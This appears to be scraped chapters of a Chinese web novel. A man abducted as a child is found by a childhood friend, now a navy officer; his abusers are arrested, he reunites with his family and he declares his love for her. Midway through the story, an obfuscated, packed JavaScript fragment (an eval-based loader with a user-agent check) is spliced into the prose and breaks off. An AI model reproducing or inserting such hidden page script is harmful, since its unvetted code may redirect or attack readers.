吴旭东虽然跟他们没有血缘关系,却是他们亲妹妹的姨表哥,自然也是要来给吴旭东撑腰的。 这么一个专业对口的人跟过来,一定会三百六十度无死角的利用法律的武器反击。 至于周子琰一家跟吴旭东自己家的亲眷。 那更不用说了。 就是借王腾虎一百二十个胆子,他也不敢乱来。 只得乖乖配合。 他现在非常懊悔,早知道应该问清楚那个人贩子,这孩子到底什么来头。 拐谁不好,拐了一群大佬的晚辈,真是要了命了。 也怪他太过傲慢,从南海舰队调到周子琰手下的时候,没有把这个女人的七大姑八大姨全都打听一下。 要不然,他一定会意识到,自己叔叔家的那个耀宗,就是人家拐着弯的亲戚。 他一定主动坦白,亲自把吴旭东送回去。 而不是现在这样,完全陷入被动,成了一个知情不报的帮凶。 现在,他唯一的机会,就是将功赎罪。 他不想自己舍掉半条腿换来的前途化作泡影。 就算一辈子只能做个小职员,也比什么都没了好。 他挣扎着站了起来:“我知道该怎么做了。” 周子琰不放心他,让楚劲雄扶着,近身跟随。 她转身看了眼停下钢笔的吴旭东:“写完了?” “嗯。”吴旭东起身,把记满了名字的纸撕下来,交给了周子琰,“全都来了?” “都来了,包括你妈。” “她会认得我吗?” “我不知道。” 吴旭东也不知道。 他握紧了裤兜里的黄鹤楼,烦躁,焦虑,忐忑。 万一不认得他了,他要怎么面对。 可是在周子琰面前,他不想抽。 周子琰抓住他的手,把烟拿出来,抽取一根,让他叼上:“抽吧,我出去等你。” 第二次了。 她总是这么惯着他。 吴旭东没忍住,抓住了她的手。 周子琰回头:“怎么,没有打火机?” 有,当然有,书桌上就有。 但他还是撒谎:“嗯,你帮我点好吗?” 周子琰没有拆穿他,拿起书桌上的打火机,转身给他点上。 他却没有吸,手指夹着取开,静静地看着周子琰。 他在等她出去,不想呛着她。 周子琰笑笑:“别着急,抽几支都行。” 不,他很着急。 他太着急了,他想做回吴旭东,他想改掉“王耀宗”这个耻辱的名字。 堂堂正正的告诉她,他爱上她了,无药可救的。 * 院子里,王腾虎看着那些推杯换盏的男人们,笑着坐下。 强留显然不明智,只能胡侃海聊,说些部队的趣闻引他们自发的留下来。 至于女人和孩子们,已经吃完了去看马戏了。 帮凶里面本来也没几个老弱妇孺,王腾虎扫了一眼:“徐大东,去把门关上吧,有风,把蚊香都吹散了。” 楚劲雄起身,把门栓插上。 回来后坐下,聪明的担任起了捧哏的角色。 跟王腾虎一说一和,很是热闹。 等到警笛声响起的时候,这群人一点也不着急,因为没有人知道,是来抓他们的。 就连那个穿着便衣的帮凶,也因为值班的不是他,没收到行动的消息。 周子琰站在堂屋,神色平静地看着这群小丑,拿起了大哥大,向警方提供最新进展。 他们就像是浸泡在一锅温水里的青蛙,并不知道等待他们的,已经是无法回头的法网制裁。 直到敲门声响起,直到门被打开,直到警察涌入。 这群高谈阔论的男人们,才无知无觉的站了起来。 每个人都以为抓的是别人,每个人都没有怀疑是他自己。 带头的刑警队队长高声问道:“谁是王腾虎同志,请配合我们工作。” 所有人齐刷刷看向了王腾虎。 王腾虎起身,楚劲雄扶着他,走向了警察。 “王腾虎同志,这里面哪些是有问题的,请指出来。” 等到王腾虎开始报名字,这群人才意识到,不是来抓王腾虎的,而是让王腾虎作叛徒的。 办.假.证的王某甲,逮捕。 违规申报户口的王某乙,逮捕。 违规跟医院合作开具出生证明的,逮捕。 跟人贩子勾结的王大石,逮捕。 虐待儿童的王大柱,逮捕。 在学校带头霸凌并打伤吴旭东使其住院的王某丙,逮捕。 还有…… 到头来,院子里的,一个都没落下。 “王腾虎同志,你还没有去单位报到,目前你的问题仍然归部队处理,我们将留下两名警员守在这里,等部队来了人再走。”队长一声令下,撤了。 走的时候,那群八卦的老弱妇孺凑过来想看看出什么事了。 可是马戏团正演到老虎跳火圈的精彩项目,不少人两头为难,最后还是选择了留在晒谷场。 以至于那些男人的家属意识到不好的时候,警车已经走远了。 急呼呼地跑来王家质问,可惜门口守着两个警察,这群老弱妇孺不敢乱来,只好赔笑。 “警察同志,出什么事了?” 守门的警察一句话也不说,就这么盯着远处的小路。 王腾虎在院子里赶紧安抚道:“没事的婶子,有个流窜作案的逃犯跑咱们村子来了,警察同志带大家过去了解一下情况,很快就回来了。” 原来是这样。 村里人很信任王腾虎,很快便继续看马戏团去了。 晚上七点半,一辆黑色桑塔纳缓缓开了过来。 车门打开,下来两个男人,进了王大柱家的院子,没什么动静。 晚上八点半,一辆白色桑塔纳缓缓开了过来。 车门打开,下来一家四口,行色匆匆,进了王大柱家的院子。 很快传来哭声。 晚上九点十分,一辆军绿色大吉普开了过来。 车门打开,下来两个女同志,面露戚戚然,也进了王大柱家的院子。 很快传来哭声。 凌晨一点半,一辆大巴开了过来。 车门打开,下来二十几号人,浩浩荡荡,或哭或笑,还是进了王大柱家的院子。 很快,传来一声撕心裂肺的“儿啊”。 一切归于死寂。 19. 团圆(二更) 吴旭东长这么大,从来没像今天这样高兴,也从来没像今天这样手足无措。 他被人群包围了。 最先赶过来的是周子琛跟楚主任,一个是为了自己的姐姐,一个是为了自己的儿子。 但是明显,周子琛其实挺关心他的,还给他带了毕业证和学位证过来,而楚主任现在有些敬畏他。 说话客气得不像话。 直到这时,王腾虎才明白,跟过来的根本不是什么徐大东,而是楚主任的儿子楚劲雄。 也就是说…… 从医院出来,到校门口的时候,他已经被周子琰跟楚劲雄两个人给算计上了。 无知无觉,像个蠢猪。 他简直不敢相信,他怔怔地看着楚劲雄:“为什么骗我?” “因为我是人,我的心是肉长的!”楚劲雄不客气地质问道,“请你摸摸你的良心,问问它是什么长的?再照一照镜子,问问你对不对得起你身上的军装!” 王腾虎沉默了很久,转身盯着周子琛:“是你告诉你姐姐的?” “我?你想多了,我之前根本不认识楚劲雄,也没有认出吴旭东。”周子琛冷笑道,“承认我姐很优秀很难吗。蛛丝马迹都是她自己察觉出来的。你在她手底下做事,不知道她的本事?” 王腾虎彻底不说话了。 是的,他傲慢,他无知。 他以为周子琰是靠父母,才会年纪轻轻爬得比他高,站得比他远。 可是现在,他发现他错得太离谱了。 他轻视了这个女人。 他也轻视了吴旭东。 更是低估了他们这对发小的感情。 他认命了,瘫坐在凳子上,等待命运的宣判。 很快,又来了几个人。 一个女人冲在了最前面,齐耳短发,文艺兵的绿军装。 个头不算很高,一米六五左右,但身材修长,很有气质。 推开门的瞬间,夜风拂乱了她的心。 这么脏的院子,跟地狱有什么区别? 她可怜的小弟,居然沦落到了在垃圾堆里生活吗? 这简直让她窒息。 她扫了眼院子里的人,嘴上喊着“子琰谢谢你”,眼睛却直勾勾地盯着吴旭东。 她从这个小弟的眼中看不到当年的天真和烂漫,只有遭遇劫难后的沧桑和不安。 是谁,是谁伤害了她的小弟? 吴星南不知道。 她扑了上来,抱着吴旭东痛哭不已。 哭够了,才问道:“知道我是谁吗?” 吴旭东下意识看向了周子琰。 周子琰看了眼南边的大门。 吴旭东明白:“是二姐吗?” 吴星南还能看不出来吗? 小弟根本不记得她了,可是她不忍心怪他,只当不知道是周子琰的提醒。 她擦了擦眼泪:“真好,东东还记得二姐呢。来,我给你介绍,这是你姐夫,江布尔。” 江布尔个头挺高,一米八多点,不过在妻弟面前还是不够看的。 他笑着跟吴旭东握手,操着一口蹩脚的普通话:“东东,泥嚎!” 吴旭东笑了:“姐夫不是姓江吧?” “不是,这是维吾尔族的名字,智慧、聪明的意思。”吴星南又把两个孩子叫过来,“这是你外甥女阿依莎,外甥依明。” 两个孩子立马脆生生的喊了声小舅舅。 吴旭东下意识掏了掏口袋,想给两个孩子一点见面礼,却只掏到了两块怡口莲,半包黄鹤楼。 实在难堪,只得扭头看向了周子琰。 周子琰赶紧拿了两张一百的塞给了吴旭东,还不忘周全他的面子:“怪我,借了小东的钱去买鞋,忘记还他了。” 吴旭东怎么忍心! 这会让他姐姐姐夫怎么看她? 立马澄清:“谁都知道我没钱,别为了我贬损你自己。这钱算我借你的。” 周子琰无奈,只好笑了笑。 吴星南哪里肯要,说什么也要把钱还给周子琰。 周子琰劝道:“小东是做舅舅的,第一次跟孩子见面,你不收,他能自己怄自己好几天。收了吧。” 吴星南无奈,只好把钱塞给孩子。 转身自己也掏了两百给吴旭东:“拿着,姐给你的零花钱。” 这样也好,周子琰劝吴旭东收下。 钱是收了,转身又要还给周子琰。 周子琰不肯要,又给他掏了几张:“等会我大哥跟燕西哥他们过来,还得再给几次,拿着吧。” 吴旭东心里难受。 这算什么。 即便他知道她是为了照顾他的面子,他也受不了。 直接把钱塞她手里,拉着她去了西屋。 关上门,他背对着门板,问道:“孩子很多吗?” “你大哥两个女儿,超生了,怕罚款也怕丢工作,老二户口报在了农村亲戚家。” “还有呢?” “我大哥家也是两个孩子,他老婆是蒙古族的,不受计划生育影响。” “还有?” “你三姐跟我二姐都是工作狂,没有结婚也没有孩子。” “那还好。” “不过我大表哥安正则也来了,他有一个孩子。龙凤胎表姐安玉成也来了,她也有一个孩子。还有你姨表姐安小蓓,就是你小姨改嫁带过去的那个,也有一个孩子。” 周子琰列举了一大堆。 吴旭东头疼。 “不给了,没钱。”吴旭东不想欠她太多。 周子琰却坚持:“拿着。你要是心里不踏实,你打欠条吧。” 她也不想这样,但是小东太敏感太自卑了。 这么多钱,他拿着心里肯定不踏实。 那就打欠条。 哪怕身在困境,也不要让晚辈看到他的狼狈。 否则,日后晚辈回忆起来,脑子里想的是——我那个小舅舅/小叔叔,穷酸抠搜,上不得台面。 她不要别人轻视他。 拉着他的手,说什么也要让他把钱拿着:“我不收利息,你慢慢还。” “我要是还不上呢?”可以拿我自己抵债吗? 可是这种话他怎么说得出口。 只得转身,背对着这个好心的邻家姐姐,不想让她窥探他暗藏的心思。 周子琰认真想了想:“那这样,我家里养了很多花花草草,但是呢,我经常不着家,你回去后有空帮我照顾一下。一次二十,多照顾几次不就两清了?” “两清?我不喜欢这个词。”他不要跟她两清,这辈子都没办法两清。 周子琰无奈,搓搓他的头发:“好,不两清,那你又不愿意欠着,怎么办?” 还能怎么办?讹上她了,一辈子的。 他说不出口,却在她准备抽手的时候拽住了她。 “怎么了?”这个邻家小弟虽然不难懂,然而周子琰有时候也捉摸不透他的心思,只得提醒他,“你二姐他们大老远赶来,咱俩一直不出去不太好。而且我二姐跟你三姐也快到了。” 那又怎么样? 是她找到了他,不是他们找到了他。 拉扯他逃出泥潭的人,他只认周子琰,只有周子琰! 吴旭东紧紧摁着她的手,摁在自己心口。 那里跳动着一颗火红的心脏。 年轻,炽热。 却又苍老,寒凉。 没有她的时候,跟行尸何异? 有她的时候才能回暖。 他不想再做行尸了。 他想炽热的活着,他想要明媚鲜艳的快乐。 他知道,只有她有这个魔力。 那就让他自私一回吧。 哪怕他觉得自己配不上,也想倔强的,长久的,独占这一份温暖。 趁着别人还没来,趁着这里只有他和她。 立于危墙之下又如何? 身陷瓦砾之中也无妨。 只有现在,才是纯粹的。 不是因为他有了体面的身份。 也不是因为他们有了双方父母的交情。 仅仅是因为他这个人。 伤痕累累,不堪又穷困的男大学生。 他用力,再用力,恨不得把她揉进自己的身体里。 什么等自己赚了大钱再开口。 什么等自己配得上她了再追求。 不,他受不了。 一刻也受不了。 一想到他的父母马上就要到了,一想到自己即将回到吴家,未必可以随时随地见她,他就难受。 更难受的是,一旦她结束了寻找他的旅程,回到原有的生活,也许很快就被其他的异性青睐,追求。 他无法接受,绝不接受。 心里像是矿场坍塌,每一根血管都被压住了,只能烦躁地嚣着:难受,难受,难受。 他不想陷入被动。 也不想给别人近水楼台的机会。 天知道部队一大半都是男人。 个个比他体格好,人人比他有朝气。 他真的没法比。 只能自私又卑鄙的,趁着她还心疼他。 在她诧异的目光注视下,溺水的水鬼终于不管不顾的缠绕上来:“明天你就要回去了是吗?” “不,我还得去军工厂看看那批声呐,回去后下水调试,估计要十天半个月的才能上来。”周子琰原以为这次要耽误好几天,没想到两家长辈一出手,事情就以雷霆之速推进了。 明天肯定就可以走了,起码她可以走了。 吴旭东很难受,摁在心口的手心出了一层细细密密的汗。 他体质差,很少出汗,也讨厌出汗,可是现在,他顾不得。 握紧心口那只女人的手,他丝毫不舍松开。 犹豫再三,还是难以启齿,只能旁敲侧击:“回去会有人介绍你相亲吗?” “不知道啊,介绍了也没空啊。怎么,你真想给我介绍啊,你这都问了好几次了。”周子琰笑了,“小东,急什么,回去先好好休息一阵子,养好身体,以后再替我操心。” 又是这样。 吴旭东真的伤心了。 “周子琰。”一声全名忽然从他口中蹦出。 周子琰有些懵:“怎么了?” 还能怎么了? 是真的不懂,还是看不上他? 他不知道。 但他渴望答案。 长这么大,头一次想要不顾一切的去争取一个肯定。 不畏鄙夷,不惧嘲笑。 跟他脆弱的自尊心完全背道而驰。 但他还是说了,声音轻得像一声自嘲:“周子琰,我想跟你结婚。” 因为你太好了,我想把你据为己有。 从此,黑夜不再可怕,凛冬不再荒凉。 一个人的世界不再是孤独的,因为心里有她。 连呼吸都变得暖暖的。 他想放任这份贪婪的私心,他想永远留住这样的暖。 再也不放手。 这让周子琰有些意外:“小东,我不想害你。我经常下水,有时候可能一个月都跟你见不上一面。你会很孤独的,这很痛苦,很折磨人。小东,我好不容易找到了你,不想看你吃苦。” 可是,爱一个人怎么会是吃苦? 就算表面微苦,也是入口即甜的。 只要心甘情愿,那就是回味无穷的甜。 他抱住了周子琰,抱住了生命中可遇不可求的这一缕甜:“我不觉得苦。” “小东……”周子琰笑了,笑着笑着,又落下泪来,“真是个没苦硬吃的傻子。你见过军嫂吗?她们有多不容易你知道吗?作为女兵的配偶,只会更加不容易。因为没几个男人会带孩子,也没有几个耐得住寂寞。” “我不一样。”吴旭东不想听,他只想遵从自己的内心。 他现在一无所有,只有一腔真心。 火红滚烫的真心。 他把它捧出来,献给她,希望她收下。 周子琰还能说什么。 掌心传来强有力的心跳,扑通扑通,振聋发聩。 那是一个年轻的灵魂,在笨拙的向她示爱。 哪怕这份爱也许是出于感激,也许是出于报恩,不管怎么说,那都是爱。 没有无缘无故的爱,就像她对小东的念念不忘,源于他儿时的天真烂漫。 爱的诞生,没有高低贵贱。 爱的萌芽,不惧荒土戈壁。 她收下了,只要他开心。 伸出另一只手,她再次搓了搓他的头发:“那就证明给我看。吴旭东,做我的配偶会很辛苦,我给你一个月的时间考虑清楚。” “不需要。”孤独的行者已经深思熟虑,他只有一个问题,“我的身上全是……你会不会不喜欢?” “不会,永远不会。小东,听我的,回去后好好考虑,别急着做决定。你会有很多爱你的人,也会有很多更好的选择。多看看,多接触接触,我不想你吃亏。”周子琰不想看他冲动之下做决定。 婚姻不是儿戏。 结果他生气了。 一把掏出她塞给她的钱,一分也不要了。 拍在桌子上,二话不说,扭头就走。 徒留周子琰默默叹气。 脾气真臭,之前还好意思说她呢。 算了,不跟他一般见识。 出去后,吴旭东找他二姐借了点钱,等会包红包。 虽然他二姐不是很富裕,起码可以意思意思。 总之,周子琰的钱,一分也不肯要了。 很快,两人的二姐和三姐分别赶来。 吴巷北个头矮一点,一米六左右,戴着一副眼镜,穿着黑色的喇叭裤,粉色的蝙蝠衫,看起来文邹邹的,结果她最是活泼,抱着吴旭东痛哭几声后,便拉着他坐在院子里,叽叽喳喳的问个不停。 “有女朋友了吗?” “人家看不上我。” “谁呀?姐替你收拾她?” “不用。” “听周叔叔说,你上大学了?” “嗯,毕业了。” “什么专业?” “电气工程。” “哎呦,不错哎,回头让周叔叔帮忙,给你——” “不用,我自己会找。” “生气啦?” “……” “东东,你没有小时候可爱了。” “三姐,你还跟小时候一样话唠。” “哈哈哈!我家东东还记得我呢!真好!” “三姐,你不渴吗?” “不渴!你渴吗,我跟蕾蕾姐带了瓶装水!” “不用。”但他担心周子琰渴了,毕竟王家的东西那么脏,随即改口,“喝点也行。” 吴巷北拿了水过来,他却没喝,拧开后递给了周子琰。 周子琰没要。 生气了。 看看谁的脾气大,切! 吴旭东只得拽过她的手,说什么也要塞给她。 气得周子琰故意把水摆在了桌子上。 对不起,就是不喝。 一旁的安小蕾了然于心,忍着笑,劝道:“子琰,你嘴巴都干了,喝点吧。不然等会爸妈来了该心疼了。” 这话最管用。 周子琰孝顺,最是心疼父母。 赶紧拧开,喝了半瓶。 刚放下,就被吴旭东抢了过来。 直接拧开,仰头就喝。 周子琰震惊得说不出话来! 搞什么啊!当着这么多人的面!害不害臊啊! 不害臊!吴旭东用实际行动证明,他就爱喝她喝过的,她管不着。 他把剩下的全喝了,一滴不剩。 安小蕾看着这两个幼稚鬼,憋笑憋得难受。 有意撮合,便拿出来一张小时候的照片。 “小东还记得在海岛的事吗?看,这是咱们两家十二口人的合照。你在我们家这里,闹着要子琰姐姐抱,不肯要你哥哥姐姐抱。”安小蕾把照片递过去。 吴旭东老脸一红,原来他从小就会耍无赖。 谁家做弟弟的会这样,拍合照的时候居然跑到别人家去,把自己的哥哥姐姐扔在一边。 真不害臊。 可是…… 可是周子琰也没有拒绝他啊。 他又看了眼,三岁稚童赖在别人家姐姐怀里,把人家亲弟弟周子琛挤到了边上,笑得格外灿烂。 偏偏脸上还挂着泪,正好被阳光亲吻,像两颗璀璨的钻石。 他有些难为情,厚着脸皮问道:“这照片还有吗?” “有,你子琰姐姐那里还你跟她的合照,就你们两个人的。她找报社杂志社登的寻人启事,就是从你们三岁的合照上裁下来的。”安小蕾说着递了一张报纸过来。 泛黄的老报纸,有着岁月的沧桑。 上面的日期,远在十七年前。 原来周子琰很小很小的时候就开始找他了。 他忽然有些惭愧,他有什么资格跟周子琰赌气发火,她也是为了他好。 怕他只是一时冲动。 怕他吃亏。 她是在乎他的! 不禁起身,走到周子琰面前,拉着她的手,想说抱歉,却开不了口。 心口涩涩的,却又透着张牙舞爪的甜。 被偏爱的甜。 看,她没有松开他的手,他还有机会。 他握紧了这双略显粗糙的手:“姐,我听你的,一个月。不生气了,好吗?” 周子琰叹了口气,她还能怎么办呢? 自己找回来的小祖宗,宠着吧!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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王五毛没有反驳,只是平静的看着被亲人围住的吴旭东:“他们住哪里?需要我收拾床铺吗?” 吴旭东摇摇头:“三姐,你打错人了,这是五毛。” “哪里错了,别以为她护着你就是无辜的,她要是真的为你好,为什么不去报警!不过是想让你感激她,真虚伪!”吴巷北还记着弟弟膀子上的伤痕呢。 得亏没看到身上的,不然能跟王家姐妹直接打起来。 她冷哼一声,放人进来,进来后就不让出去了。 怕她们通风报信,让潜在的共犯逃跑。 王四毛气死了,耀宗怎么这么多姐姐啊,白天来了一个周指导就算了,现在又来了三个姐。 看来她们王家姐妹是真的没戏了。 气得跑回房间,哭得那叫一个委屈苦楚。 吴旭东没理,盯着手里的照片,滚烫的脸颊贴上燥热的夜风,浑身不自在。 灵魂深处有个声音在呐喊,他想抱抱周子琰。 想亲她。 想永远永远腻歪着她。 真被她的玩笑话说中了,他讹上她了,从三岁开始。 他趁着说话的空隙偷偷瞄了她一眼,发现不知道什么时候,她已经靠在椅背上盹着了。 赶紧起身,扶着她点:“姐,去车上睡会儿吗?” 周子琰恍惚一下醒来:“爸妈来了?” “没有。”吴旭东牵着她的手,“我帮你把座椅调一下,你去车上睡,嫌热我给你打蒲扇。” “不用,你们聊。”周子琰起得太早了,又奔波了一天,斗智斗勇。 她是真的困得不行了,到了车上倒头就睡。 醒来的时候已经是夜里一点半了。 大巴车带着特有的引擎轰鸣声,小心翼翼地开进这条狭窄的乡村小路。 进了院子,陆续下来一群形形色色的人。 男女老少,热热闹闹。 周子琰一个晃神睁开眼,发现吴旭东正在副驾驶给她打蒲扇。 自己都快睡着了,眼睛都眯上了,手上的动作却没有停。 不知道是什么意志力在支撑着他。 之前在西屋争执的那点怒气,彻底消失不见。 也许她真的应该现在就答应他。 可是…… 还是让他看看他原来的世界吧,站得高一点,远一点,如果到时候他还是觉得她这边的风景独好,再答应不迟。 她赶紧喊他下车。 一个痴痴傻傻的老妇,被一个满鬓霜白的老汉搀扶着,嘴里念叨着东东东东,踽踽而行。 吴旭东几乎被定在了原地,浑身紧绷,紧张得忘了呼吸。 他下意识握紧了周子琰的手。 周子琰用力回握。 别紧张,认得出更好,认不出的话,就在今后的漫长岁月里陪着她老人家,让她慢慢醒来。 老汉一眼就认出他来了,毕竟是自己的宝贝儿子,纵然十七年不见,也已用那浓郁的思念,将幼子的面目刻进骨髓。 吴国正喊了声东东,激动得一下晕了过去。 周中擎上前一步,赶紧扶着他。 老安则扶住了痴傻的谈三娘:“嫂子,子琰把东东找回来啦!你看,是不是东东?” 谈三娘没有理会,精神失常的人,有自己的小世界,外人无法触及。 再努力,也无济于事。 她自顾自向前走着。 来到吴旭东面前,歪着脑袋,念叨着东东,东东。 吴旭东崩溃了。 记忆里那个爱笑又温柔的妈,怎么成了如今这个痴傻呆笨的模样。 都怪他,不该接那块肥肉,不该,不该! 懊悔,怨恨,自责,夹杂着重逢后的欣喜,忐忑,后怕…… 种种情绪,泛滥成灾。 心痛淹没了呼吸,脱口而出就是一声妈。 疼痛的膝盖在这一瞬间达到了极限,他几乎是踉跄着扑倒了老母的面前,直接跪下了。 他可怜的妈!他可怜的妈! 意识混乱的老妇,被这一声掷地有声的妈唤得浑身一震,跌跌撞撞,也跪倒在地。 一把抱住她那丢失十七年的幼子,失声痛呼:“儿啊!!!” 儿啊!你还活着,太好了! 儿啊!娘找你找得好苦啊! 泪水冲垮了十七年不见的隔阂,母子俩就这么双双跪倒在地。 下一秒,惊喜交加的老妇便昏倒在了幼子的怀里。 万籁俱寂。 只有夜风在悲鸣。 在叹息。 十七年的苦等,即便团聚,这伤痕又该怎么抚平? 无人应答。 一夜无眠。 众人七手八脚的,把吴国正跟谈三娘夫妻抬去了西屋睡下。 周子琰趁乱,赶紧往吴旭东兜里塞了一千块钱。 几个孩子全都好奇的看着这个小舅舅/小叔叔,等吴旭东回过神来,想起要给孩子们封红包的时候,一摸裤兜,才发现里面鼓鼓囊囊的,都是现金。 钞票上还残留着周子琰的体温,被他裤腿处的冰凉冲散,摸在手里已经没了多少温度。 他看了周子琰一眼,不清楚两人争吵的隔阂过去没有。 总之,等会找个机会,好好道个歉吧。 对不起三个字其实是很有担当的表现,他不该让那可怜的自尊心作祟,寒了周子琰的心。 结果孩子们不肯收他的红包。 原封不动,全都还给了他。 想必是来的路上长辈叮嘱过了。 算了。都是自家亲眷。 吴旭东不再坚持,任由亲人们围着他,嘘寒问暖,说不完的话。 一旁的王腾虎看着周中擎,坐立难安,只能一个劲的道歉,表决心。 周中擎没有说话,只寸步不离的守着他,等天亮后,把他交给部队来的人。 院子里很热闹,只有开车的几个人没有参与进来,简单招呼过后,便去车上盹着了。 第二天上午七点半,有人敲门。 王腾虎忐忑地拄着拐杖来到院子里。 “请问王腾虎同志在吗?我们是纪律检查小组的,请开门。” 一同响起的还有打拐工作小组的声音,昨晚太晚了,他们没有过来打扰。 吴旭东亲自开了门。 旭日东升,晴空万里。 他的新生活就要开始了。 真好。 20. 回家 王家沟的人,安稳日子过惯了。 稀里糊涂的睡去,茫然无知的醒来。 不少人还沉浸在昨晚看马戏的激动和兴奋之中。 直到吃早饭的时候一问,家里的父亲、丈夫或者兄弟还是没回家,这才意识到事情远不如想象得那么简单。 便纷纷来王大柱家打听。 结果看到的全是一些陌生面孔。 门口和院子里还停着六辆轿车。 其中一辆是纪律检查小组的,两辆是打拐工作小组的。 另外,还有一辆大吉普,一辆大巴。 人群中,则站着王大柱买来的那个儿子王耀宗。 “怪了,这都是谁啊?” “不知道啊,耀宗平时气色那么差,今天怎么满面红光的?” “看到旁边那个老头了吗?跟他长得好像。” “还有个年轻男人也像,会不会是亲生父母找过来了?” “不是说他是孤儿吗?” “孤儿个屁啊,你忘了耀宗小时候为什么挨打了?死活不肯叫王大柱叫爸爸,被王大柱追得满村子跑,说要回家找自己爸爸妈妈。” “哎呦,这可不得了,真要是耀宗自己的爸妈还在的话,那王大柱也太缺德了。” “可不是,人家爸妈看起来还挺有钱的呢。” “肯定有钱啊,当初耀宗来的时候,那小衣服穿的,多利整。看着就不像没人管的野孩子。” “哎呦,可怜哦,要是亲爸亲妈知道耀宗遭的罪,不得哭晕过去。” “哭也没用啊,王大柱养了他,还能把王大柱杀了怎么地?” “那倒也是,毕竟养大了耀宗,还供他上了大学。” 议论声中,纪律检查小组的人将王腾虎带走了。 人群顿时沸腾起来,以为是接王腾虎去上班当干部呢。 一个个喜滋滋的,满脸都是无知的喜悦。 很快,打拐工作小组也走了,要带吴旭东去本地派出所进一步走流程。 那自然,其他人也都跟着走了。 本来就受不了这个院子里的恶臭味。 临上车时,吴旭东坚持要坐周子琰那辆。 他在这里生活了十七年,只带走了那件绣了吴旭东三个字的衣服、学位证、毕业证,以及一个伤痕累累的躯壳。 至于户口本,王五毛已经找出来给他了,他没拿,交给了打拐工作组的人。 车子一辆接着一辆开走。 王家五姐妹站在门口,唏嘘不已。 王大毛自己有男人孩子,对吴旭东的离开倒不是很激动,只是感慨:“我说什么来着,白养了吧。咱爸真是自找的,非要花钱找气受,到头来还不是指望咱们姐妹给他养老。” 王二毛最是反叛,骂道:“他活该,要不是我的亲老子,举报他会害了咱们姐妹,我早就把他绑起来送派出所去了。” 王三毛没有主见,只顾着叹气:“哎,早知今日,何必当初呢。” 王四毛怨气冲天:“臭耀宗,他到底有几个好姐姐啊?不肯跟咱们结婚也不早说,害咱们姐妹白白耽误到现在,太没良心了。” 只有王五毛,一句话没说,默默地注视着远去的车子,转身,收拾家里去了。 院子这么乱,还不是死老头子不让收拾吗? 说什么做家务不值钱,干脆别做。 逼着她们全部出去干活,做工,工资全部上交,也不知道被他藏哪儿了。 她得趁着他不在,赶紧找出来。 只要钱一到手,她就一把火烧了这个鬼地方,远走高飞,再也不回来了。 * 吴旭东做完笔录了,就等打拐工作小组的人核实情况。 本地的警员那边也传来了好消息,被捕的那些人狗咬狗,全都把对方给卖了。 尤其是王大柱,好吃懒做,还整天仗着有个大学生儿子在村里横行霸道,这不,出事了大家第一个卖的就是他。 周子琰瞧着一切尘埃落定,便准备走了。 刚出派出所大门,吴旭东便追了出来。 他拉着她的手,万千不舍,难以启齿。 他这二十二年的人生并不是连贯的。 几个重大的转折,让他的人生路险象环生,割裂成一段又一段的坎坷与崎岖。 可是现在,沉舟侧畔千帆过,病树前头万木春。 等待他的,似乎是一条宽敞顺直的康庄大道。 然而,他身处喧闹的人群中,却找不到家的感觉。 太久了,整整十七年。 父母也许对他念念不忘,可是哥哥姐姐却早已奔赴自己的生活。 他们也许义愤填膺,也许心疼怜悯,但绝对不会在他身上投入太多的时间和精力。 否则,找到他的为什么是毫无血缘关系的周子琰,而不是自己的哥哥或者哪个姐姐? 他不是个傻子。 哪怕被吴家的人包围,哪怕他们一口一个想死你了东东,他还是清晰的知道,他能有今天,只是因为周子琰。 只是因为这个锲而不舍,不达目的决不罢休的女兵。 他叫吴旭东,而她,却比他更像一轮旭日,冉冉从东方升起,照亮了他黑暗冷寂的人生。 他怎么舍得她走? 紧紧地握着她的手,说什么不想松开。 嗓子里像是刚刚遭遇了一场山体滑坡,有种沉重与生涩的疼。 他就这么看着她,奢望着她可以留下,哪怕多陪他一天。 一天就好。 周子琰看了看时间,解释道:“小东,我之前约了军工厂的人去测试那批声呐。” 他知道,他都知道。 他只能松手。 松开后,眼睁睁看着她上了车,系上安全带,却又忍不住,扑到了窗口:“昨天晚上的事对不起!” “你还记着呢?我早就不气了。”周子琰笑着摸摸他的头,“放心,我脾气很好的。” 嗯,真好。 吴旭东没有反驳,只问她:“晚上能来吗?” “我不知道,小东,以后这样的情况会有很多很多,所以我不想害你。你慎重考虑,好吗?小东,不管你做什么决定,你记住了,你永远是我最牵挂的小东。永远。”周子琰搓搓他的头发,“去吧,去你爸妈身边,让他们高兴高兴。” 不,他不想。 只想讹上她,做个厚颜无耻的赖皮鬼。 可是她有任务在身。 她已经为了他,把能动用的力量都动用了,他还有什么不知足的。 不过是去军工厂办事,不过是十天半个月见不上。 不是生离死别,不是天涯永隔,为什么这么矫情? 他嫌弃自己。 双手紧紧地扣着车窗,艰难开口:“你的地址,写给我。” “好,去之前给我打电话,如果我在水下,你就别去了。”周子琰从手套箱里找了支笔,转身的时候,吴旭东已经把黄鹤楼的烟壳撕下来一截,递给了她。 周子琰把部队的联系方式,以及自己在外面的住址都写下来了。 烟壳递过去的时候,想起还有没拆封的大半条黄鹤楼呢,赶紧下车,递给了他。 包括给他买的衣服裤子鞋子。 大包小盒的,塞了他一手。 “小东,以后去了大地方带你买好的。这两天凑合穿穿。”周子琰笑着转身。 身后却传来东西坠地的声音。 没有安全感的邻家小弟,急于从她这里寻得一些肯定。 一把拽住了她,上前一步,将她摁在心口:“周子琰,我可以亲你吗?” ……周子琰有些无奈,两人站在马路边上,不怕被人看见吗? 想要拒绝,却被他紧绷的身体和那寒凉的体温击中内心深处的柔软。 算了,反正她穿的便装。 成全他吧,他这么没有安全感,回到吴家肯定要无所适从一阵子。 也许,一个吻可以支撑他自信一点,勇敢一些。 她主动环住了他的脖子。 四目相对,一个有着极端压抑的隐忍和疯狂,一个充满积极向上的松弛和朝气。 两个截然相反的灵魂,就这么沐浴在上午九点钟的艳阳下,静静地拥吻。 然而,静静只是风雨来临前的错觉。 暴风骤雨的疯狂才是这一个初吻的主旋律。 他像是悬崖边上即将坠落的雏鸟,拼了命的想要抓住一线希冀。 而她将她燥热的体温和无底线的溺爱拧成了一根救命稻草,甩下去,拴住他,不让他狼狈跌落。 待到云消雨霁,他定要将这一根稻草衔回去,小心整理,精心筑巢。 等她归来。 